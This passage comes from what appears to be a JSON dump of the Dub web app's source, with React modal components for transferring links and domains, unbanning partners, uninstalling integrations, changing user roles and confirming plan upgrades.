px-3\"\n          />\n        </div>\n      </form>\n    </>\n  );\n}\n\nexport function useTransferDomainModal({\n  props,\n  onSuccess,\n}: {\n  props: DomainProps;\n  onSuccess?: () => void;\n}) {\n  const [showTransferDomainModal, setShowTransferDomainModal] = useState(false);\n\n  const TransferDomainModalCallback = useCallback(() => {\n    return props ? (\n      <TransferDomainModal\n        showTransferDomainModal={showTransferDomainModal}\n        setShowTransferDomainModal={setShowTransferDomainModal}\n        props={props}\n        onSuccess={onSuccess}\n      />\n    ) : null;\n  }, [showTransferDomainModal, setShowTransferDomainModal]);\n\n  return useMemo(\n    () => ({\n      setShowTransferDomainModal,\n      TransferDomainModal: TransferDomainModalCallback,\n    }),\n    [setShowTransferDomainModal, TransferDomainModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/transfer-link-modal.tsx",
    "content": "import { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport useWorkspaces from \"@/lib/swr/use-workspaces\";\nimport { LinkProps } from \"@/lib/types\";\nimport { Button, Modal, useMediaQuery } from \"@dub/ui\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\nimport { SimpleLinkCard } from \"../links/simple-link-card\";\nimport { WorkspaceSelector } from \"../workspaces/workspace-selector\";\n\ntype TransferLinkModalProps = {\n  showTransferLinkModal: boolean;\n  setShowTransferLinkModal: Dispatch<SetStateAction<boolean>>;\n  props: LinkProps;\n  onSuccess?: () => void;\n};\n\nfunction TransferLinkModal(props: TransferLinkModalProps) {\n  return (\n    <Modal\n      showModal={props.showTransferLinkModal}\n      setShowModal={props.setShowTransferLinkModal}\n    >\n      <TransferLinkModalInner {...props} />\n    </Modal>\n  );\n}\n\nfunction TransferLinkModalInner({\n  setShowTransferLinkModal,\n  props,\n  onSuccess,\n}: TransferLinkModalProps) {\n  const { id: currentWorkspaceId } = useWorkspace();\n  const [transferring, setTransferring] = useState(false);\n  const { workspaces } = useWorkspaces();\n  const [selectedWorkspace, setSelectedWorkspace] = useState<string | null>(\n    null,\n  );\n  const [verificationText, setVerificationText] = useState(\"\");\n\n  const { isMobile } = useMediaQuery();\n\n  const transferLink = async (linkId: string, selectedWorkspace: string) => {\n    setTransferring(true);\n    const newWorkspaceId = workspaces?.find(\n      (workspace) => workspace.slug === selectedWorkspace,\n    )?.id;\n    if (!newWorkspaceId) {\n      toast.error(\"New workspace not found.\");\n      return;\n    }\n\n    return await fetch(\n      `/api/links/${linkId}/transfer?workspaceId=${currentWorkspaceId}`,\n      {\n        method: \"POST\",\n        headers: {\n          \"Content-Type\": \"application/json\",\n        },\n        body: JSON.stringify({ newWorkspaceId }),\n      },\n    ).then(async (res) => {\n      if (res.ok) {\n        mutatePrefix(\"/api/links\");\n        setShowTransferLinkModal(false);\n        onSuccess?.();\n      } else {\n        const { error } = await res.json();\n        toast.error(error.message || \"Failed to transfer link.\");\n      }\n\n      setTransferring(false);\n    });\n  };\n\n  return (\n    <>\n      <div className=\"space-y-2 border-b border-neutral-200 p-4 sm:p-6\">\n        <h3 className=\"text-lg font-medium leading-none\">Transfer link</h3>\n      </div>\n\n      <div className=\"bg-neutral-50 p-4 sm:p-6\">\n        <p className=\"text-sm text-neutral-800\">\n          Are you sure you want to transfer this link?\n        </p>\n\n        <p className=\"mt-4 text-sm font-medium text-neutral-800\">\n          Transferring a link will fully reset its stats and is irreversible –\n          please proceed with caution.\n        </p>\n\n        <div className=\"scrollbar-hide mt-4 flex max-h-[190px] flex-col gap-2 overflow-y-auto rounded-2xl border border-neutral-200 p-2\">\n          <SimpleLinkCard link={props} />\n        </div>\n\n        <div className=\"mt-4\">\n          <WorkspaceSelector\n            selectedWorkspace={selectedWorkspace || \"\"}\n            setSelectedWorkspace={setSelectedWorkspace}\n          />\n        </div>\n      </div>\n\n      <form\n        onSubmit={async (e) => {\n          e.preventDefault();\n          if (selectedWorkspace) {\n            await transferLink(props.id, selectedWorkspace);\n          }\n        }}\n        className=\"flex flex-col bg-neutral-50 text-left\"\n      >\n        <div className=\"px-4 sm:px-6\">\n          <label\n            htmlFor=\"verification\"\n            className=\"block text-sm text-neutral-700\"\n          >\n            To verify, type{\" \"}\n            <span className=\"font-semibold\">confirm transfer link</span> below\n          </label>\n          <div className=\"relative mt-1.5 rounded-md shadow-sm\">\n            <input\n              type=\"text\"\n              name=\"verification\"\n              id=\"verification\"\n              pattern=\"confirm transfer link\"\n              required\n              autoFocus={!isMobile}\n              autoComplete=\"off\"\n              value={verificationText}\n              onChange={(e) => setVerificationText(e.target.value)}\n              className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n            />\n          </div>\n        </div>\n\n        <div className=\"mt-8 flex items-center justify-end gap-2 border-t border-neutral-200 bg-neutral-50 px-4 py-5 sm:px-6\">\n          <Button\n            onClick={() => setShowTransferLinkModal(false)}\n            variant=\"secondary\"\n            text=\"Cancel\"\n            className=\"h-8 w-fit px-3\"\n          />\n          <Button\n            disabled={\n              !selectedWorkspace || verificationText !== \"confirm transfer link\"\n            }\n            loading={transferring}\n            text=\"Transfer link\"\n            className=\"h-8 w-fit px-3\"\n          />\n        </div>\n      </form>\n    </>\n  );\n}\n\nexport function useTransferLinkModal({\n  props,\n  onSuccess,\n}: {\n  props: LinkProps;\n  onSuccess?: () => void;\n}) {\n  const [showTransferLinkModal, setShowTransferLinkModal] = useState(false);\n\n  const TransferLinkModalCallback = useCallback(() => {\n    return props ? (\n      <TransferLinkModal\n        showTransferLinkModal={showTransferLinkModal}\n        setShowTransferLinkModal={setShowTransferLinkModal}\n        props={props}\n        onSuccess={onSuccess}\n      />\n    ) : null;\n  }, [showTransferLinkModal, setShowTransferLinkModal]);\n\n  return useMemo(\n    () => ({\n      setShowTransferLinkModal,\n      TransferLinkModal: TransferLinkModalCallback,\n    }),\n    [setShowTransferLinkModal, TransferLinkModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/unban-partner-modal.tsx",
    "content": "import { unbanPartnerAction } from \"@/lib/actions/partners/unban-partner\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { PartnerProps } from \"@/lib/types\";\nimport { PartnerAvatar } from \"@/ui/partners/partner-avatar\";\nimport { Button, Modal } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\n\ntype UnbanPartnerFormData = {\n  confirm: string;\n};\n\nfunction UnbanPartnerModal({\n  showUnbanPartnerModal,\n  setShowUnbanPartnerModal,\n  partner,\n}: {\n  showUnbanPartnerModal: boolean;\n  setShowUnbanPartnerModal: Dispatch<SetStateAction<boolean>>;\n  partner: Pick<PartnerProps, \"id\" | \"name\" | \"email\" | \"image\">;\n}) {\n  const { id: workspaceId } = useWorkspace();\n\n  const {\n    register,\n    handleSubmit,\n    watch,\n    formState: { errors },\n  } = useForm<UnbanPartnerFormData>({\n    defaultValues: {\n      confirm: \"\",\n    },\n  });\n\n  const [confirm] = watch([\"confirm\"]);\n\n  const { executeAsync, isPending } = useAction(unbanPartnerAction, {\n    onSuccess: async () => {\n      toast.success(\"Partner unbanned successfully!\");\n      setShowUnbanPartnerModal(false);\n      mutatePrefix(\"/api/partners\");\n    },\n    onError({ error }) {\n      toast.error(error.serverError);\n    },\n  });\n\n  const onSubmit = useCallback(async () => {\n    if (!workspaceId || !partner.id) {\n      return;\n    }\n\n    await executeAsync({\n      workspaceId,\n      partnerId: partner.id,\n    });\n  }, [executeAsync, partner.id, workspaceId]);\n\n  const isDisabled = useMemo(() => {\n    return (\n      !workspaceId || !partner.id || confirm !== `confirm unban ${partner.name}`\n    );\n  }, [workspaceId, partner.id, confirm]);\n\n  return (\n    <Modal\n      showModal={showUnbanPartnerModal}\n      setShowModal={setShowUnbanPartnerModal}\n    >\n      <div className=\"border-b border-neutral-200 p-4 sm:p-6\">\n        <h3 className=\"text-lg font-medium leading-none\">Unban partner</h3>\n      </div>\n\n      <form onSubmit={handleSubmit(onSubmit)}>\n        <div className=\"flex flex-col gap-6 bg-neutral-50 p-4 sm:p-6\">\n          <div className=\"rounded-lg border border-neutral-200 bg-neutral-100 p-3\">\n            <div className=\"flex items-center gap-4\">\n              <PartnerAvatar partner={partner} className=\"size-10 bg-white\" />\n              <div className=\"flex min-w-0 flex-col\">\n                <h4 className=\"truncate text-sm font-medium text-neutral-900\">\n                  {partner.name}\n                </h4>\n                <p className=\"truncate text-xs text-neutral-500\">\n                  {partner.email}\n                </p>\n              </div>\n            </div>\n          </div>\n\n          <p className=\"text-sm text-neutral-600\">\n            This will unban the partner, enable all their active links, and\n            restore all pending payouts.\n          </p>\n\n          <div>\n            <label className=\"block text-sm font-medium text-neutral-900\">\n              To verify, type <strong>confirm unban {partner.name}</strong>{\" \"}\n              below\n            </label>\n            <div className=\"relative mt-1.5 rounded-md shadow-sm\">\n              <input\n                className={cn(\n                  \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                  errors.confirm && \"border-red-600\",\n                )}\n                placeholder={`confirm unban ${partner.name}`}\n                type=\"text\"\n                autoComplete=\"off\"\n                {...register(\"confirm\", {\n                  required: true,\n                })}\n              />\n            </div>\n          </div>\n        </div>\n\n        <div className=\"flex items-center justify-end gap-2 bg-neutral-50 px-4 pb-5 sm:px-6\">\n          <Button\n            onClick={() => setShowUnbanPartnerModal(false)}\n            variant=\"secondary\"\n            text=\"Cancel\"\n            className=\"h-8 w-fit px-3\"\n          />\n          <Button\n            type=\"submit\"\n            text=\"Unban partner\"\n            disabled={isDisabled}\n            loading={isPending}\n            className=\"h-8 w-fit px-3\"\n          />\n        </div>\n      </form>\n    </Modal>\n  );\n}\n\nexport function useUnbanPartnerModal({\n  partner,\n}: {\n  partner: Pick<PartnerProps, \"id\" | \"name\" | \"email\" | \"image\">;\n}) {\n  const [showUnbanPartnerModal, setShowUnbanPartnerModal] = useState(false);\n\n  const UnbanPartnerModalCallback = useCallback(() => {\n    return (\n      <UnbanPartnerModal\n        showUnbanPartnerModal={showUnbanPartnerModal}\n        setShowUnbanPartnerModal={setShowUnbanPartnerModal}\n        partner={partner}\n      />\n    );\n  }, [showUnbanPartnerModal, setShowUnbanPartnerModal, partner]);\n\n  return useMemo(\n    () => ({\n      setShowUnbanPartnerModal,\n      UnbanPartnerModal: UnbanPartnerModalCallback,\n    }),\n    [setShowUnbanPartnerModal, UnbanPartnerModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/uninstall-integration-modal.tsx",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { InstalledIntegrationInfoProps } from \"@/lib/types\";\nimport { TokenAvatar } from \"@/ui/token-avatar\";\nimport { BlurImage, Button, Logo, Modal, useMediaQuery } from \"@dub/ui\";\nimport { useRouter } from \"next/navigation\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\n\nfunction UninstallIntegrationModal({\n  showUninstallIntegrationModal,\n  setShowUninstallIntegrationModal,\n  integration,\n}: {\n  showUninstallIntegrationModal: boolean;\n  setShowUninstallIntegrationModal: Dispatch<SetStateAction<boolean>>;\n  integration: InstalledIntegrationInfoProps;\n}) {\n  const router = useRouter();\n  const [removing, setRemoving] = useState(false);\n  const { id: workspaceId, logo } = useWorkspace();\n  const { name, description, installed } = integration;\n  const { isMobile } = useMediaQuery();\n\n  return (\n    <Modal\n      showModal={showUninstallIntegrationModal}\n      setShowModal={setShowUninstallIntegrationModal}\n    >\n      <div className=\"flex flex-col items-center justify-center space-y-3 border-b border-neutral-200 px-4 py-4 pt-8 sm:px-16\">\n        {logo ? (\n          <BlurImage\n            src={logo}\n            alt=\"Workspace logo\"\n            className=\"h-10 w-10 rounded-full\"\n            width={20}\n            height={20}\n          />\n        ) : (\n          <Logo />\n        )}\n        <h3 className=\"text-lg font-medium\">Uninstall Integration</h3>\n        <p className=\"text-center text-sm text-neutral-500\">\n          This will remove the integration from your workspace. Are you sure you\n          want to continue?\n        </p>\n      </div>\n\n      <div className=\"flex flex-col space-y-4 bg-neutral-50 px-4 py-8 text-left sm:px-16\">\n        <div className=\"flex items-center space-x-3 rounded-md border border-neutral-300 bg-white p-3\">\n          {integration.logo ? (\n            <BlurImage\n              src={integration.logo}\n              alt={`Logo for ${integration.name}`}\n              className=\"size-8 rounded-full border border-neutral-200\"\n              width={20}\n              height={20}\n            />\n          ) : (\n            <TokenAvatar id={integration.id} className=\"size-8\" />\n          )}\n          <div className=\"flex flex-col\">\n            <h3 className=\"text-sm font-medium\">{name}</h3>\n            <p className=\"line-clamp-1 text-xs text-neutral-500\">\n              {description}\n            </p>\n          </div>\n        </div>\n        <Button\n          text=\"Confirm\"\n          variant=\"danger\"\n          autoFocus={!isMobile}\n          loading={removing}\n          onClick={() => {\n            setRemoving(true);\n            fetch(\n              `/api/integrations/uninstall?workspaceId=${workspaceId}&installationId=${installed?.id}`,\n              {\n                method: \"DELETE\",\n                headers: { \"Content-Type\": \"application/json\" },\n              },\n            ).then(async (res) => {\n              if (res.status === 200) {\n                setShowUninstallIntegrationModal(false);\n                router.refresh();\n                toast.success(\"Successfully removed integration!\");\n              } else {\n                const { error } = await res.json();\n                toast.error(error.message);\n              }\n              setRemoving(false);\n            });\n          }}\n        />\n      </div>\n    </Modal>\n  );\n}\n\nexport function useUninstallIntegrationModal({\n  integration,\n}: {\n  integration: InstalledIntegrationInfoProps;\n}) {\n  const [showUninstallIntegrationModal, setShowUninstallIntegrationModal] =\n    useState(false);\n\n  const UninstallIntegrationModalCallback = useCallback(() => {\n    return (\n      <UninstallIntegrationModal\n        showUninstallIntegrationModal={showUninstallIntegrationModal}\n        setShowUninstallIntegrationModal={setShowUninstallIntegrationModal}\n        integration={integration}\n      />\n    );\n  }, [showUninstallIntegrationModal, setShowUninstallIntegrationModal]);\n\n  return useMemo(\n    () => ({\n      setShowUninstallIntegrationModal,\n      UninstallIntegrationModal: UninstallIntegrationModalCallback,\n    }),\n    [setShowUninstallIntegrationModal, UninstallIntegrationModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/update-partner-user-modal.tsx",
    "content": "import { mutatePrefix } from \"@/lib/swr/mutate\";\nimport { PartnerUserProps } from \"@/lib/types\";\nimport { UserAvatar } from \"@/ui/users/user-avatar\";\nimport { PartnerRole } from \"@dub/prisma/client\";\nimport { Button, Modal, useMediaQuery } from \"@dub/ui\";\nimport { useSearchParams } from \"next/navigation\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\n\nfunction UpdatePartnerUserModal({\n  showUpdateUserModal,\n  setShowUpdateUserModal,\n  user,\n  role,\n}: {\n  showUpdateUserModal: boolean;\n  setShowUpdateUserModal: Dispatch<SetStateAction<boolean>>;\n  user: PartnerUserProps;\n  role: PartnerRole;\n}) {\n  const { isMobile } = useMediaQuery();\n  const [updating, setUpdating] = useState(false);\n  const { id: userId, name, email } = user;\n\n  const searchParams = useSearchParams();\n  const isInvite = searchParams.get(\"status\") === \"invited\";\n\n  const updateRole = async () => {\n    setUpdating(true);\n\n    try {\n      const endpoint = isInvite\n        ? \"/api/partner-profile/invites\"\n        : \"/api/partner-profile/users\";\n      const body = isInvite ? { email, role } : { userId, role };\n\n      const response = await fetch(endpoint, {\n        method: \"PATCH\",\n        headers: {\n          \"Content-Type\": \"application/json\",\n        },\n        body: JSON.stringify(body),\n      });\n\n      if (!response.ok) {\n        const { error } = await response.json();\n        throw new Error(error.message);\n      }\n\n      await mutatePrefix(\n        `/api/partner-profile/${isInvite ? \"invites\" : \"users\"}`,\n      );\n      setShowUpdateUserModal(false);\n      toast.success(`Successfully updated the role to ${role}.`);\n    } catch (error) {\n      toast.error(error.message || \"Failed to update role.\");\n    } finally {\n      setUpdating(false);\n    }\n  };\n\n  return (\n    <Modal\n      showModal={showUpdateUserModal}\n      setShowModal={setShowUpdateUserModal}\n      className=\"max-w-md\"\n    >\n      <div className=\"space-y-2 border-b border-neutral-200 px-4 py-4 sm:px-6\">\n        <h3 className=\"text-lg font-medium\">\n          {isInvite ? \"Update Invitation Role\" : \"Update Member Role\"}\n        </h3>\n        <p className=\"text-sm text-neutral-500\">\n          This will change{\" \"}\n          <span className=\"font-semibold text-black\">{name || email}</span>\n          's role to <span className=\"font-semibold text-black\">{role}</span>.\n          Are you sure you want to continue?\n        </p>\n      </div>\n\n      <div className=\"flex flex-col space-y-4 bg-neutral-50 px-4 py-4 sm:px-6\">\n        <div className=\"relative flex items-center gap-2 space-x-3 rounded-md border border-neutral-300 bg-white px-4 py-2\">\n          <div className=\"flex items-center gap-2\">\n            <UserAvatar user={user} className=\"size-10\" />\n            <div className=\"flex flex-col\">\n              {isInvite ? (\n                <p className=\"text-content-subtle text-sm font-medium\">\n                  {user.email}\n                </p>\n              ) : (\n                <>\n                  <p className=\"text-sm font-medium text-neutral-900\">\n                    {user.name || user.email}\n                  </p>\n                  <p className=\"text-xs text-neutral-500\">{user.email}</p>\n                </>\n              )}\n            </div>\n          </div>\n        </div>\n\n        <Button\n          text=\"Confirm\"\n          autoFocus={!isMobile}\n          loading={updating}\n          onClick={updateRole}\n        />\n      </div>\n    </Modal>\n  );\n}\n\nexport function useUpdatePartnerUserModal({\n  user,\n  role,\n}: {\n  user: PartnerUserProps;\n  role: PartnerRole;\n}) {\n  const [showUpdateUserModal, setShowUpdateUserModal] = useState(false);\n\n  const UpdateUserModalCallback = useCallback(() => {\n    return (\n      <UpdatePartnerUserModal\n        showUpdateUserModal={showUpdateUserModal}\n        setShowUpdateUserModal={setShowUpdateUserModal}\n        user={user}\n        role={role}\n      />\n    );\n  }, [showUpdateUserModal, setShowUpdateUserModal, user, role]);\n\n  return useMemo(\n    () => ({\n      setShowUpdateUserModal,\n      UpdateUserModal: UpdateUserModalCallback,\n    }),\n    [setShowUpdateUserModal, UpdateUserModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/update-workspace-user-role.tsx",
    "content": "import { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { UserProps } from \"@/lib/types\";\nimport { UserAvatar } from \"@/ui/users/user-avatar\";\nimport { WorkspaceRole } from \"@dub/prisma/client\";\nimport { Button, Modal, useMediaQuery } from \"@dub/ui\";\nimport { useSearchParams } from \"next/navigation\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\n\nfunction WorkspaceUserRoleModal({\n  showWorkspaceUserRoleModal,\n  setShowWorkspaceUserRoleModal,\n  user,\n  role,\n}: {\n  showWorkspaceUserRoleModal: boolean;\n  setShowWorkspaceUserRoleModal: Dispatch<SetStateAction<boolean>>;\n  user: UserProps;\n  role: WorkspaceRole;\n}) {\n  const [editing, setEditing] = useState(false);\n  const { id } = useWorkspace();\n  const { id: userId, name, email } = user;\n  const { isMobile } = useMediaQuery();\n\n  const searchParams = useSearchParams();\n  const isInvite = searchParams.get(\"status\") === \"invited\";\n\n  const updateRole = async () => {\n    setEditing(true);\n\n    try {\n      const endpoint = isInvite\n        ? `/api/workspaces/${id}/invites`\n        : `/api/workspaces/${id}/users`;\n      const body = isInvite ? { email, role } : { userId, role };\n\n      const response = await fetch(endpoint, {\n        method: \"PATCH\",\n        headers: {\n          \"Content-Type\": \"application/json\",\n        },\n        body: JSON.stringify(body),\n      });\n\n      if (!response.ok) {\n        const { error } = await response.json();\n        throw new Error(error.message);\n      }\n\n      await mutatePrefix(\n        `/api/workspaces/${id}/${isInvite ? \"invites\" : \"users\"}`,\n      );\n      setShowWorkspaceUserRoleModal(false);\n      toast.success(`Successfully updated the role to ${role}.`);\n    } catch (error) {\n      toast.error(error instanceof Error ? error.message : \"An error occurred\");\n    } finally {\n      setEditing(false);\n    }\n  };\n\n  return (\n    <Modal\n      showModal={showWorkspaceUserRoleModal}\n      setShowModal={setShowWorkspaceUserRoleModal}\n      className=\"max-w-md\"\n    >\n      <div className=\"space-y-2 border-b border-neutral-200 px-4 py-4 sm:px-6\">\n        <h3 className=\"text-lg font-medium\">\n          {isInvite ? \"Update Invitation Role\" : \"Update Member Role\"}\n        </h3>\n        <p className=\"text-sm text-neutral-500\">\n          This will change{\" \"}\n          <span className=\"font-semibold text-black\">{name || email}</span>\n          's role to <span className=\"font-semibold text-black\">{role}</span>.\n          Are you sure you want to continue?\n        </p>\n      </div>\n\n      <div className=\"flex flex-col space-y-4 bg-neutral-50 px-4 py-4 sm:px-6\">\n        <div className=\"relative flex items-center gap-2 space-x-3 rounded-md border border-neutral-300 bg-white px-4 py-2\">\n          <div className=\"flex items-center gap-2\">\n            <UserAvatar user={user} className=\"size-10\" />\n            <div className=\"flex flex-col\">\n              {isInvite ? (\n                <p className=\"text-content-subtle text-sm font-medium\">\n                  {user.email}\n                </p>\n              ) : (\n                <>\n                  <p className=\"text-sm font-medium text-neutral-900\">\n                    {user.name || user.email}\n                  </p>\n                  <p className=\"text-xs text-neutral-500\">{user.email}</p>\n                </>\n              )}\n            </div>\n          </div>\n        </div>\n\n        <Button\n          text=\"Confirm\"\n          autoFocus={!isMobile}\n          loading={editing}\n          onClick={updateRole}\n        />\n      </div>\n    </Modal>\n  );\n}\n\nexport function useWorkspaceUserRoleModal({\n  user,\n  role,\n}: {\n  user: UserProps;\n  role: WorkspaceRole;\n}) {\n  const [showWorkspaceUserRoleModal, setShowWorkspaceUserRoleModal] =\n    useState(false);\n\n  const WorkspaceUserRoleModalCallback = useCallback(() => {\n    return (\n      <WorkspaceUserRoleModal\n        showWorkspaceUserRoleModal={showWorkspaceUserRoleModal}\n        setShowWorkspaceUserRoleModal={setShowWorkspaceUserRoleModal}\n        user={user}\n        role={role}\n      />\n    );\n  }, [showWorkspaceUserRoleModal, setShowWorkspaceUserRoleModal, user, role]);\n\n  return useMemo(\n    () => ({\n      setShowWorkspaceUserRoleModal,\n      WorkspaceUserRoleModal: WorkspaceUserRoleModalCallback,\n    }),\n    [setShowWorkspaceUserRoleModal, WorkspaceUserRoleModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/upgraded-modal.tsx",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { useWorkspaceStore } from \"@/lib/swr/use-workspace-store\";\nimport { Button, Modal, useRouterStuff, useScrollProgress } from \"@dub/ui\";\nimport { getPlanDetails, PLANS, PRO_PLAN } from \"@dub/utils\";\nimport { usePlausible } from \"next-plausible\";\nimport { useSearchParams } from \"next/navigation\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useEffect,\n  useMemo,\n  useRef,\n  useState,\n} from \"react\";\nimport { RegisterDomainForm } from \"../domains/register-domain-form\";\nimport { ModalHero } from \"../shared/modal-hero\";\n\nfunction UpgradedModal({\n  showUpgradedModal,\n  setShowUpgradedModal,\n}: {\n  showUpgradedModal: boolean;\n  setShowUpgradedModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const { queryParams } = useRouterStuff();\n  const searchParams = useSearchParams();\n\n  const { dotLinkClaimed } = useWorkspace();\n  const [_, setDotLinkOfferDismissed, { mutateWorkspace }] =\n    useWorkspaceStore<string>(\"dotLinkOfferDismissed\");\n\n  const scrollRef = useRef<HTMLDivElement>(null);\n  const { scrollProgress, updateScrollProgress } = useScrollProgress(scrollRef);\n\n  const planId = searchParams.get(\"plan\");\n  const plausible = usePlausible();\n\n  const handlePlanUpgrade = async () => {\n    if (planId) {\n      const currentPlan = getPlanDetails({ plan: planId });\n      const period = searchParams.get(\"period\");\n      if (currentPlan && period) {\n        plausible(`Upgraded to ${currentPlan.name}`);\n      }\n    }\n  };\n\n  useEffect(() => {\n    handlePlanUpgrade();\n  }, [searchParams, planId]);\n\n  const plan = planId\n    ? PLANS.find(\n        (p) => p.name.toLowerCase() === planId.replace(\"+\", \" \").toLowerCase(),\n      ) ?? PRO_PLAN\n    : undefined;\n\n  if (!plan) return null;\n\n  const onClose = async () => {\n    queryParams({\n      del: [\"upgraded\", \"plan\", \"period\"],\n    });\n    await setDotLinkOfferDismissed(new Date().toISOString());\n    mutateWorkspace();\n  };\n\n  return (\n    <Modal\n      showModal={showUpgradedModal}\n      setShowModal={setShowUpgradedModal}\n      onClose={onClose}\n    >\n      <div className=\"flex flex-col\">\n        <ModalHero />\n        <div className=\"px-6 py-8 sm:px-8\">\n          <div className=\"relative\">\n            <div\n              ref={scrollRef}\n              onScroll={updateScrollProgress}\n              className=\"scrollbar-hide max-h-[calc(100vh-400px)] overflow-y-auto pb-6 text-left\"\n            >\n              <h1 className=\"text-lg font-semibold text-neutral-900\">\n                Dub {plan?.name} looks good on you!\n              </h1>\n              <p className=\"mt-2 text-sm text-neutral-600\">\n                Thank you for upgrading to the {plan?.name} plan. You now have\n                access to more powerful features\n                {dotLinkClaimed ? (\n                  <> and higher usage limits.</>\n                ) : (\n                  <>\n                    , higher usage limits, and a{\" \"}\n                    <a\n                      href=\"https://dub.link/claim\"\n                      target=\"_blank\"\n                      className=\"cursor-help font-semibold text-neutral-800 underline decoration-dotted underline-offset-2\"\n                    >\n                      1-year free .link domain\n                    </a>\n                    .\n                  </>\n                )}\n              </p>\n              {!dotLinkClaimed && (\n                <div className=\"mt-6 rounded-xl border border-neutral-100 bg-neutral-50 p-4\">\n                  <RegisterDomainForm\n                    showTerms={false}\n                    onSuccess={() => {\n                      setShowUpgradedModal(false);\n                    }}\n                    onCancel={() => setShowUpgradedModal(false)}\n                  />\n                </div>\n              )}\n            </div>\n            {/* Bottom scroll fade */}\n            <div\n              className=\"pointer-events-none absolute bottom-0 left-0 hidden h-16 w-full bg-gradient-to-t from-white sm:block\"\n              style={{ opacity: 1 - Math.pow(scrollProgress, 2) }}\n            ></div>\n          </div>\n          <Button\n            type=\"button\"\n            variant={dotLinkClaimed ? \"primary\" : \"secondary\"}\n            text={\n              dotLinkClaimed\n                ? \"Go to Dub\"\n                : \"No thanks, take me to the dashboard\"\n            }\n            onClick={() => {\n              onClose();\n              setShowUpgradedModal(false);\n            }}\n          />\n          {!dotLinkClaimed && (\n            <p className=\"mt-6 text-pretty text-center text-xs text-neutral-500\">\n              By claiming your .link domain, you agree to our{\" \"}\n              <a\n                href=\"https://dub.co/help/article/free-dot-link-domain#terms-and-conditions\"\n                target=\"_blank\"\n                className=\"underline transition-colors hover:text-neutral-700\"\n              >\n                terms\n              </a>\n              .<br />\n              After the first year, your renewal is $12/year.\n            </p>\n          )}\n        </div>\n      </div>\n    </Modal>\n  );\n}\n\nexport function useUpgradedModal() {\n  const [showUpgradedModal, setShowUpgradedModal] = useState(false);\n\n  const UpgradedModalCallback = useCallback(() => {\n    return (\n      <UpgradedModal\n        showUpgradedModal={showUpgradedModal}\n        setShowUpgradedModal={setShowUpgradedModal}\n      />\n    );\n  }, [showUpgradedModal, setShowUpgradedModal]);\n\n  return useMemo(\n    () => ({\n      setShowUpgradedModal,\n      UpgradedModal: UpgradedModalCallback,\n    }),\n    [setShowUpgradedModal, UpgradedModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/oauth-apps/add-edit-app-form.tsx",
    "content": "\"use client\";\n\nimport { clientAccessCheck } from \"@/lib/client-access-check\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport {\n  NewOAuthApp,\n  OAuthAppProps,\n  OAuthAppWithClientSecret,\n} from \"@/lib/types\";\nimport { useOAuthAppCreatedModal } from \"@/ui/modals/oauth-app-created-modal\";\nimport {\n  Button,\n  FileUpload,\n  InfoTooltip,\n  LoadingSpinner,\n  RichTextArea,\n  RichTextProvider,\n  RichTextToolbar,\n  Switch,\n  useEnterSubmit,\n} from \"@dub/ui\";\nimport { cn, nanoid } from \"@dub/utils\";\nimport slugify from \"@sindresorhus/slugify\";\nimport { Paperclip, Trash2 } from \"lucide-react\";\nimport { Reorder } from \"motion/react\";\nimport { useRouter } from \"next/navigation\";\nimport { FormEvent, useEffect, useMemo, useRef, useState } from \"react\";\nimport TextareaAutosize from \"react-textarea-autosize\";\nimport { toast } from \"sonner\";\nimport { mutate } from \"swr\";\n\nconst defaultValues: NewOAuthApp = {\n  name: \"\",\n  slug: \"\",\n  description: \"\",\n  readme: \"\",\n  developer: \"\",\n  website: \"\",\n  installUrl: null,\n  redirectUris: [],\n  screenshots: [],\n  logo: null,\n  pkce: true,\n};\n\nexport default function AddOAuthAppForm({\n  oAuthApp,\n}: {\n  oAuthApp: OAuthAppProps | null;\n}) {\n  const router = useRouter();\n  const [saving, setSaving] = useState(false);\n  const { slug: workspaceSlug, id: workspaceId, role } = useWorkspace();\n\n  const [createdAppData, setCreatedAppData] =\n    useState<OAuthAppWithClientSecret | null>(null);\n\n  const [urls, setUrls] = useState<{ id: string; value: string }[]>([\n    { id: nanoid(), value: \"\" },\n  ]);\n\n  const [screenshots, setScreenshots] = useState<\n    {\n      file?: File;\n      key?: string;\n      uploading: boolean;\n    }[]\n  >([]);\n\n  const [data, setData] = useState<NewOAuthApp | OAuthAppProps>(\n    oAuthApp || defaultValues,\n  );\n\n  const { OAuthAppCreatedModal, 